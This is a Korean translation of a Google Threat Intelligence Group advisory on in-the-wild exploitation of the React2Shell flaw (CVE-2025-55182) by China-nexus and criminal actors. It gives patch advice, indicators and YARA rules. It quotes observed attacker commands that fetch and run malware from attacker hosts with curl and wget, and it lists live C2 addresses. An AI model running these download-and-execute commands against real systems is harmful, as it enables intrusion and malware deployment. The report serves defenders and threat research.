콘텐츠로 이동하기
위협 인텔리전스

React2Shell(CVE-2025-55182) 취약점, 다수 공격 그룹에 의해 악용 확인

2025년 12월 12일
Google Threat Intelligence Group

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

해당 블로그의 원문은 2025년 12월 13일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen


서론

2025년 12월 3일, React 서버 컴포넌트에서 인증되지 않은 원격 코드 실행(RCE)이 가능한 치명적인 취약점이 "React2Shell"이라는 별칭과 함께 CVE-2025-55182로 공개되었습니다. 공개 직후, Google 위협 인텔리전스 그룹(GTIG)은 기회주의적인 사이버 범죄 행위자부터 첩보 활동으로 의심되는 그룹에 이르기까지 다수의 위협 클러스터에서 광범위한 악용 활동을 관찰하기 시작했습니다.

GTIG는 이 취약점을 활용하여 MINOCAT 터널러, SNOWLIGHT 다운로더, HISONIC 백도어, COMPOOD 백도어 및 XMRIG 암호화폐 채굴기를 배포하는 여러 개별 캠페인을 식별했습니다. 이 중 일부는 이전에 Huntress가 보고한 활동과 겹칩니다. 관찰된 캠페인들은 패치되지 않은 버전의 React 및 Next.js를 사용하는 조직에 가해지는 위험을 명확히 보여줍니다. 이 게시물은 관찰된 악용 체인과 침해 후 활동을 상세히 설명하고, 방어자들이 이 위협을 식별하고 해결하는 데 도움이 될 정보를 제공합니다.

Google이 고객을 보호하는 방법과 완화 지침에 대한 정보는 관련 블로그 게시물인 CVE-2025-55182에 대응하기: React 및 Next.js 워크로드 보안을 참조하시기 바랍니다.

CVE-2025-55182 개요

CVE-2025-55182는 React 서버 컴포넌트에 존재하는 인증되지 않은 원격 코드 실행(RCE) 취약점으로, CVSS v3.x 점수는 10.0, CVSS v4 점수는 9.3입니다. 이 결함으로 인해 인증되지 않은 공격자는 단일 HTTP 요청을 보내 영향을 받는 웹 서버 프로세스를 실행하는 사용자의 권한으로 임의의 코드를 실행할 수 있습니다.

GTIG는 CVE-2025-55182를 치명적 위험(critical-risk) 취약점으로 간주합니다. Next.js와 같은 인기 있는 프레임워크에서 React 서버 컴포넌트(RSC)를 사용하기 때문에, 이 문제에 취약한 노출된 시스템이 상당수 존재합니다. 악용 가능성은 다음 두 가지 요인으로 인해 더욱 증가합니다: 1) 유효한 페이로드 형식과 기술이 다양하게 존재하며, 2) 시스템에 취약한 패키지가 존재하는 것만으로도 악용이 가능한 경우가 많습니다.

CVE-2025-55182에 취약한 특정 RSC 패키지 버전은 다음과 같습니다. (19.0, 19.1.0, 19.1.1, 19.2.0 버전)

  • react-server-dom-webpack

  • react-server-dom-parcel

  • react-server-dom-turbopack

취약점 공개 초기 며칠 동안, 수많은 비작동 익스플로잇과 그로 인한 잘못된 페이로드 및 악용 로직 정보가 널리 퍼졌습니다. 처음에는 완전히 작동하지 않았던 리포지토리의 예로 GitHub 사용자 "ejpir"가 게시한 이 리포지토리가 있습니다. 이 리포지토리는 처음에는 합법적인 작동 익스플로잇이라고 주장했지만, 지금은 README를 업데이트하여 초기 연구 주장이 AI에 의해 생성되었으며 작동하지 않는다고 적절히 명시하고 있습니다. 이 리포지토리에는 여전히 작동하지 않는 익스플로잇 코드가 포함되어 있지만, 현재는 유니코드 난독화가 적용된 합법적인 익스플로잇 코드도 포함하고 있습니다. 이와 같은 사례들이 처음에는 업계 전반에 혼란을 야기했지만, 인메모리 Next.js 웹 셸 배포 기능을 포함하여 합법적인 익스플로잇의 수와 기능은 대폭 확장되었습니다. 또한, 일부는 완전히 가짜이고, 일부는 작동하지 않으며, 일부는 합법적인 기능을 가진 보안 연구원을 표적으로 하는 멀웨어를 포함한 익스플로잇 샘플도 있습니다. 연구원들은 모든 익스플로잇 코드의 기능이나 합법성을 신뢰하기 전에 반드시 검증해야 합니다.

이 취약점에 대한 기술적 분석은 Wiz와 같은 평판 좋은 보안 회사들에 의해 발표되었습니다. 연구원들은 취약점 세부 정보, 익스플로잇 코드 또는 발표된 탐지 방법을 검증할 때 최신의 정확한 정보를 위해 이러한 신뢰할 수 있는 간행물을 참조해야 합니다.

추가로, Next.js에 대해 별도의 CVE(CVE-2025-66478)가 발급되었지만, 이 CVE는 이후 CVE-2025-55182의 중복으로 표시되었습니다.

관찰된 악용 활동

CVE-2025-55182 악용이 시작된 이래, GTIG는 여러 지역과 산업에 걸쳐 다양한 페이로드와 침해 후 활동을 관찰했습니다. 이 블로그 게시물에서는 중국 연계 첩보 활동과 금전적 동기 활동에 초점을 맞추지만, 이란 연계 행위자들이 CVE-2025-55182를 악용하는 것도 추가로 관찰했습니다.

중국 연계 활동

12월 12일 기준으로, GTIG는 전 세계 피해자 네트워크를 침해하기 위해 CVE-2025-55182를 활용하는 다수의 중국 연계 위협 클러스터를 식별했습니다. Amazon Web Services(AWS)의 보고에 따르면, 중국 연계 위협 그룹인 Earth Lamia와 Jackpot Panda도 이 취약점을 악용하고 있습니다. GTIG는 Earth Lamia를 UNC5454로 추적합니다. 현재 Jackpot Panda의 그룹 관계를 평가할 공개적인 지표는 없습니다.

MINOCAT

GTIG는 중국 연계 첩보 클러스터 UNC6600이 MINOCAT 터널러를 전달하기 위해 이 취약점을 악용하는 것을 관찰했습니다. 위협 행위자는 bash 스크립트를 검색하여 실행했으며, 이 스크립트는 숨겨진 디렉터리($HOME/.systemd-utils)를 생성하고, "ntpclient"라는 이름의 모든 프로세스를 종료하며, MINOCAT 바이너리를 다운로드했습니다. 그리고 새로운 cron 작업과 systemd 서비스를 생성하고, 새로운 셸이 시작될 때마다 MINOCAT를 실행하도록 현재 사용자의 셸 설정에 악성 명령을 삽입하여 지속성을 확보했습니다. MINOCAT는 Linux용 64비트 ELF 실행 파일로, 커스텀 "NSS" 래퍼와 실제 터널링을 처리하는 내장된 오픈소스 FRP(Fast Reverse Proxy) 클라이언트를 포함합니다.

SNOWLIGHT

별도의 사건에서, 중국 연계로 의심되는 위협 행위자 UNC6586은 cURL 또는 wget을 사용하여 명령을 실행함으로써 이 취약점을 악용했으며, 이 명령은 SNOWLIGHT 다운로더 페이로드(7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a)를 다운로드하고 실행하는 스크립트를 검색했습니다. SNOWLIGHT는 Go로 작성된 공개 다중 플랫폼 백도어인 VSHELL의 구성 요소로, 다양한 동기를 가진 위협 행위자들이 사용해 왔습니다. GTIG는 SNOWLIGHT가 C2 인프라(예: reactcdn.windowserrorapis[.]com)로 HTTP GET 요청을 보내 합법적인 파일로 위장한 추가 페이로드를 검색하는 것을 관찰했습니다.

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

그림 1: SNOWLIGHT 페이로드를 가져오기 위해 실행된 cURL 명령

COMPOOD

GTIG는 또한 위협 행위자 UNC6588이 CVE-2025-55182를 악용한 후, wget을 사용하여 COMPOOD 백도어 페이로드를 다운로드하는 스크립트를 실행한 여러 사건을 관찰했습니다. 이 스크립트는 Vim으로 위장한 COMPOOD 샘플을 실행했습니다. GTIG는 중요한 후속 활동을 관찰하지 못했으며, 이 위협 행위자의 동기는 현재 알려지지 않았습니다.

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

그림 2: wget을 통해 다운로드되고 실행된 COMPOOD

COMPOOD는 역사적으로 중국 연계 첩보 활동과 관련이 있었습니다. 2022년, GTIG는 중국 연계 첩보 행위자로 의심되는 사건에서 COMPOOD를 관찰했으며, 대만, 베트남, 중국에서 VirusTotal에 업로드된 샘플도 관찰했습니다.

HISONIC

또 다른 중국 연계 행위자인 UNC6603은 HISONIC 백도어의 업데이트된 버전을 배포했습니다. HISONIC은 Go 기반 임플란트로, Cloudflare Pages 및 GitLab과 같은 합법적인 클라우드 서비스를 활용하여 암호화된 구성을 검색합니다. 이 기술을 통해 행위자는 악성 트래픽을 합법적인 네트워크 활동과 섞을 수 있습니다. 이 경우, 행위자는 HISONIC 백도어의 XOR 인코딩된 구성을 두 마커, 즉 구성 시작을 나타내는 "115e1fc47977812"와 끝을 나타내는 "725166234cf88gxx" 사이에 삽입했습니다. 원격 분석 데이터에 따르면 이 행위자는 아시아 태평양(APAC) 지역 내의 클라우드 인프라, 특히 AWS 및 Alibaba Cloud 인스턴스를 표적으로 삼고 있습니다.

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

그림 3: 구성을 나타내는 HISONIC 마커

ANGRYREBEL.LINUX

마지막으로, 저희는 중국 연계 행위자인 UNC6595가 ANGRYREBEL.LINUX를 배포하기 위해 이 취약점을 악용하는 것도 관찰했습니다. 위협 행위자는 설치 스크립트(b.sh)를 사용하여 멀웨어를 표준 위치가 아닌 /etc/ 디렉터리 내의 합법적인 OpenSSH 데몬(sshd)으로 위장하여 탐지를 회피하려고 시도합니다. 또한 행위자는 타임스톰핑을 사용하여 파일 타임스탬프를 변경하고, 셸 기록 지우기(history -c)와 같은 안티포렌식 명령을 실행합니다. 원격 분석 데이터에 따르면 이 클러스터는 주로 국제 가상 사설 서버(VPS)에서 호스팅되는 인프라를 표적으로 하고 있습니다.

금전적 동기 활동

암호화폐 채굴을 통해 접근 권한을 수익화하는 위협 행위자들은 종종 새로 공개된 취약점을 가장 먼저 악용하는 그룹 중 하나입니다. GTIG는 12월 5일부터 위협 행위자들이 CVE-2025-55182를 악용하고 불법적인 암호화폐 채굴을 위해 XMRig를 배포한 여러 사건을 관찰했습니다. 관찰된 한 체인에서, 행위자는 "sex.sh"라는 셸 스크립트를 다운로드했으며, 이 스크립트는 GitHub에서 XMRIG 암호화폐 채굴기를 다운로드하고 실행합니다. 또한 이 스크립트는 "system-update-service"라는 새로운 systemd 서비스를 통해 채굴기의 지속성을 확보하려고 시도합니다.

GTIG는 또한 지하 포럼에서 CVE-2025-55182에 관한 수많은 논의를 관찰했으며, 여기에는 위협 행위자들이 스캐닝 도구, 개념 증명(PoC) 코드, 그리고 이러한 도구를 사용한 경험에 대한 링크를 공유한 스레드도 포함됩니다.

전망 및 시사점

인지도가 높은 치명적인 취약점이 공개된 후, 영향을 받는 제품이 일정 기간 동안 더 많은 조사를 받게 되어, 발견되는 취약점 수가 일시적으로 급증하는 것은 일반적입니다. CVE-2025-55182가 공개된 이후, 세 가지 추가 React 취약점이 공개되었습니다: CVE-2025-55183, CVE-2025-55184, CVE-2025-67779. 이 경우, 이 후속 취약점 중 두 가지는 상대적으로 영향이 제한적입니다(제한된 정보 공개 및 서비스 거부(DoS) 상태 유발). 세 번째 취약점(CVE-2025-67779)도 DoS 상태를 유발하는데, 이는 CVE-2025-55184에 대한 불완전한 패치로 인해 발생했기 때문입니다.

권장 사항

React 또는 Next.js를 사용하는 조직은 즉시 다음 조치를 취해야 합니다.

  1. 즉시 패치:

    1. CVE-2025-55182로 인한 원격 코드 실행을 방지하려면, 취약한 React 서버 컴포넌트를 사용 중인 버전에 따라 최소 19.0.1, 19.1.2 또는 19.2.1로 패치하십시오. 19.2.2 또는 19.2.3으로 패치해도 잠재적인 원격 코드 실행을 방지할 수 있습니다.

    2. CVE-2025-55183으로 인한 정보 공개 영향을 방지하려면, 취약한 React 서버 컴포넌트를 최소 19.2.2로 패치하십시오.

    3. CVE-2025-55184 및 CVE-2025-67779로 인한 DoS 영향을 방지하려면, 취약한 React 서버 컴포넌트를 19.2.3으로 패치하십시오. 19.2.2 패치는 DoS 영향을 방지하는 데 불충분한 것으로 밝혀졌습니다.

  2. WAF 규칙 배포: Google은 이 취약점과 관련된 악용 시도를 탐지하고 차단하도록 설계된 Cloud Armor 웹 애플리케이션 방화벽(WAF) 규칙을 출시했습니다. 취약점 관리 프로그램이 모든 취약한 인스턴스를 패치하고 검증하는 동안 이 규칙을 임시 완화 조치로 배포할 것을 권장합니다.

  3. 의존성 감사: 취약한 React 서버 컴포넌트가 환경 내 다른 애플리케이션의 의존성으로 포함되어 있는지 확인하십시오.

  4. 네트워크 트래픽 모니터링: 아래 나열된 침해 지표(IOC)로의 아웃바운드 연결, 특히 웹 서버 프로세스에 의해 시작된 wget 또는 cURL 명령에 대한 로그를 검토하십시오.

  5. 침해 흔적 탐색: $HOME/.systemd-utils와 같은 숨겨진 디렉터리 생성, ntpclient와 같은 프로세스의 무단 종료, $HOME/.bashrc와 같은 셸 구성 파일에 악성 실행 로직 주입 등을 찾아보십시오.

침해 지표 (IOCs)

방어자들이 이 활동을 탐색하는 데 도움을 주기 위해, 이 블로그 게시물에 설명된 위협에 대한 IOC를 포함했습니다. 관련 지표의 더 넓은 하위 집합은 등록된 사용자를 위해 제공되는 Google 위협 인텔리전스 IOC 컬렉션에서 확인할 수 있습니다.

지표

유형

설명

reactcdn.windowserrorapis[.]com

도메인

SNOWLIGHT C2 및 스테이징 서버

82.163.22[.]139

IP 주소

SNOWLIGHT C2 서버

216.158.232[.]43

IP 주소

sex.sh 스크립트용 스테이징 서버

45.76.155[.]14

IP 주소

COMPOOD C2 및 페이로드 스테이징 서버

df3f20a961d29eed46636783b71589c183675510737c984a11f78932b177b540

SHA256

HISONIC 샘플

92064e210b23cf5b94585d3722bf53373d54fb4114dca25c34e010d0c010edf3

SHA256

HISONIC 샘플

0bc65a55a84d1b2e2a320d2b011186a14f9074d6d28ff9120cb24fcc03c3f696

SHA256

ANGRYREBEL.LINUX 샘플

13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274

SHA256

XMRIG 다운로더 스크립트 (파일명:  sex.sh)

7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a

SHA256

SNOWLIGHT 샘플 (파일명: linux_amd64)

776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273

SHA256

MINOCAT 샘플

YARA 규칙

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %d\n"
		$telnet_str2 = "No login shell found at %s\n"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}
게시 위치